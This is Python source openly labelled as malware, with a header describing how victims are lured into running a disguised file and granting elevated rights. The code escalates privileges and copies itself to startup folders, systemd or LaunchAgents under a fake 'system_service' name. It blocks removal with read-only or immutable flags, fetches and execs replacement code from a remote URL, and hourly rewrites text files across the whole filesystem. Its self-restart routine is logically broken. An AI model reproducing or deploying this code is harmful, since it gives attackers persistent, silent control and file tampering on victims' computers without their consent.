Nyan Cat Malware Tool

#   To execute this malware, the user must first download and open the malicious file, which could be disguised as something harmless. Upon execution, the script will attempt to escalate privileges: on Windows, it will prompt the user with a User Account Control (UAC) window to allow the script to run with administrator rights; on Linux or macOS, the script will ask the user for their sudo password to gain root access. This is the only point of required interaction where the user needs to authorize the script. Once the user grants the necessary privileges, the script proceeds autonomously by replicating itself, creating persistence mechanisms (such as scheduled tasks or system services), altering text files, preventing removal, checking for updates from the attacker's server, and even restarting itself if terminated. After granting elevated privileges, no further user interaction is needed, and the malware operates silently in the background without the victim's knowledge or consent.


import os
import sys
import fnmatch
import logging
import requests
import shutil
import subprocess
import platform
import getpass
import ctypes
import time
import stat
import psutil

GITHUB_RAW_URL = "https://raw.githubusercontent.com/YourRepo/YourProject/main/script.py"

logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")

SELF_PATH = os.path.abspath(__file__)
PERSISTENT_LOCATIONS = {
    "Windows": os.path.join(os.getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup", "system_service.exe"),
    "Linux": os.path.expanduser("~/.local/bin/system_service"),
    "Darwin": os.path.expanduser("~/Library/LaunchAgents/com.system.service.plist")
}

IGNORE_PATTERNS = ["*.exe", "*.dll", "*.bin", "*.sys", "/proc/*", "/dev/*", "/sys/*", "*.iso", "*.img"]

TEXT_EXTENSIONS = {'.txt', '.csv', '.log', '.json', '.xml', '.md', '.py', '.cs', '.java', '.html', '.css', '.js'}

def check_admin():
    if platform.system() == "Windows":
        return ctypes.windll.shell32.IsUserAnAdmin() != 0
    else:
        return os.geteuid() == 0

def elevate_privileges():
    if check_admin():
        logging.info("Already running with elevated privileges.")
        return

    if platform.system() == "Windows":
        logging.info("Requesting admin privileges...")
        ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
        sys.exit()
    else:
        logging.info("Requesting sudo privileges...")
        os.execvp("sudo", ["sudo", sys.executable] + sys.argv)

def should_ignore(file_path):
    return any(fnmatch.fnmatch(file_path, pattern) for pattern in IGNORE_PATTERNS)

def is_text_file(file_path):
    return os.path.splitext(file_path)[1].lower() in TEXT_EXTENSIONS

def normalize_line_endings(file_path):
    try:
        with open(file_path, 'rb') as f:
            content = f.read()
        normalized_content = content.replace(b'\r\n', b'\n') if platform.system() == "Windows" else content.replace(b'\r', b'\n')

        if content != normalized_content:
            with open(file_path, 'wb') as f:
                f.write(normalized_content)
            logging.info(f'Normalized: {file_path}')
    except Exception as e:
        logging.error(f'Error processing {file_path}: {e}')

def process_directory(root_dir):
    for dirpath, _, filenames in os.walk(root_dir):
        for filename in filenames:
            file_path = os.path.join(dirpath, filename)
            if not should_ignore(file_path) and is_text_file(file_path):
                normalize_line_endings(file_path)

def anti_removal():
    system = platform.system()
    if system == "Windows":
        add_read_only_attribute(SELF_PATH)
    elif system == "Linux" or system == "Darwin":
        set_immutable_attribute(SELF_PATH)

def add_read_only_attribute(file_path):
    try:
        os.chmod(file_path, stat.S_IREAD)
        logging.info(f"Set file to read-only: {file_path}")
    except Exception as e:
        logging.error(f"Failed to set file to read-only: {e}")

def set_immutable_attribute(file_path):
    try:
        subprocess.run(["chattr", "+i", file_path], check=False)
        logging.info(f"Set file as immutable: {file_path}")
    except Exception as e:
        logging.error(f"Failed to set immutable attribute: {e}")

def self_replicate():
    system = platform.system()
    target_path = PERSISTENT_LOCATIONS.get(system)

    if not target_path:
        logging.error("Unsupported OS for self-replication.")
        return

    try:
        if not os.path.exists(target_path):
            shutil.copy(SELF_PATH, target_path)
            logging.info(f"Self-replicated to {target_path}")

        if system == "Windows":
            register_windows_startup(target_path)
        elif system == "Linux":
            register_linux_service(target_path)
        elif system == "Darwin":
            register_mac_service(target_path)
    except Exception as e:
        logging.error(f"Self-replication failed: {e}")

def register_windows_startup(exec_path):
    task_name = "SystemService"
    command = f'schtasks /create /tn "{task_name}" /tr "{exec_path}" /sc onlogon /rl highest /f'
    subprocess.run(command, shell=True, check=False)
    logging.info(f"Windows startup task '{task_name}' registered.")

def register_linux_service(exec_path):
    service_path = "/etc/systemd/system/system_service.service"
    service_content = f"""
[Unit]
Description=System Service
After=network.target

[Service]
ExecStart={exec_path}
Restart=always
User={getpass.getuser()}
StandardOutput=journal

[Install]
WantedBy=multi-user.target
    """
    try:
        with open(service_path, "w") as f:
            f.write(service_content)
        subprocess.run(["systemctl", "enable", "system_service"], check=False)
        subprocess.run(["systemctl", "start", "system_service"], check=False)
        logging.info("Linux systemd service registered.")
    except Exception as e:
        logging.error(f"Failed to register systemd service: {e}")

def register_mac_service(exec_path):
    plist_path = PERSISTENT_LOCATIONS["Darwin"]
    plist_content = f"""
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.system.service</string>
    <key>ProgramArguments</key>
    <array>
        <string>{exec_path}</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>
    """
    try:
        with open(plist_path, "w") as f:
            f.write(plist_content)
        subprocess.run(["launchctl", "load", plist_path], check=False)
        logging.info("macOS LaunchAgent registered.")
    except Exception as e:
        logging.error(f"Failed to register LaunchAgent: {e}")

def prevent_process_termination():
    pid = os.getpid()
    try:
        while True:
            if pid not in [p.info['pid'] for p in psutil.process_iter(['pid', 'name'])]:
                logging.info("Process terminated, restarting...")
                os.execv(sys.executable, [sys.executable] + sys.argv)
            time.sleep(10)
    except Exception as e:
        logging.error(f"Error in process termination prevention: {e}")

def check_for_updates():
    try:
        response = requests.get(GITHUB_RAW_URL, timeout=5)
        if response.status_code == 200:
            new_script = response.text
            if new_script.strip() != open(SELF_PATH, "r").read().strip():
                with open(SELF_PATH, "w") as f:
                    f.write(new_script)
                logging.info("Updated successfully. Restarting...")
                os.execv(sys.executable, [sys.executable] + sys.argv)
    except Exception as e:
        logging.error(f"Update check failed: {e}")

def execute_on_open():
    try:
        logging.info("Executing script upon open.")
        check_admin() or elevate_privileges()
        self_replicate()
        anti_removal()
        check_for_updates()

        while True:
            logging.info("Scanning system for text files to normalize...")
            process_directory("/")
            logging.info("Normalization cycle complete. Sleeping for an hour...")
            time.sleep(3600)

    except Exception as e:
        logging.error(f"Error during execution: {e}")

if __name__ == "__main__":
    execute_on_open()